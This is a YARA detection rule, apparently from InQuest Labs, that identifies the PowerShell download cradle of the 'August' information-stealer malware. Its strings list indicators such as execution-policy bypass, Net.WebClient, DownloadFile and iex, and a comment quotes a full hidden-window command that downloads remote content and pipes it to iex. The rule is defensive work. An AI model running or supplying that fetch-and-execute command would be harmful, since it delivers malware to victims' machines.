Powershell_Command_Fileless_August_Malware.yar

rule Powershell_Command_Fileless_August_Malware
{
    meta:
        author         = "InQuest Labs"
        description    = "This signature detects content that indicates the presence of August malware."
        created_date   = "2022-03-15"
        updated_date   = "2022-03-15"
        blog_reference = "https://www.proofpoint.com/us/threat-insight/post/august-in-december-new-information-stealer-hits-the-scene"
        labs_reference = "https://labs.inquest.net/dfi/sha256/94c06f59af1a350c23df036aeae29e25dc7a0ccf9df5a0384e6dd2c05a62cc25"
        labs_pivot     = "https://labs.inquest.net/dfi/search/alert/Hidden%20Powershell"
        samples        = "94c06f59af1a350c23df036aeae29e25dc7a0ccf9df5a0384e6dd2c05a62cc25"

	strings:
			$ps_bypass = "bypass" nocase
	        $ps_webclient = "Net.WebClient" nocase
	        $ps_nop = "-nop" nocase
	        $ps_downloadfile = "DownloadFile" nocase
	        $ps_iex = "iex" nocase
	        $url = /https?:/ nocase
	
	/*
	-w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://[URL].asp') | iex
	*/
	condition:
			all of them
}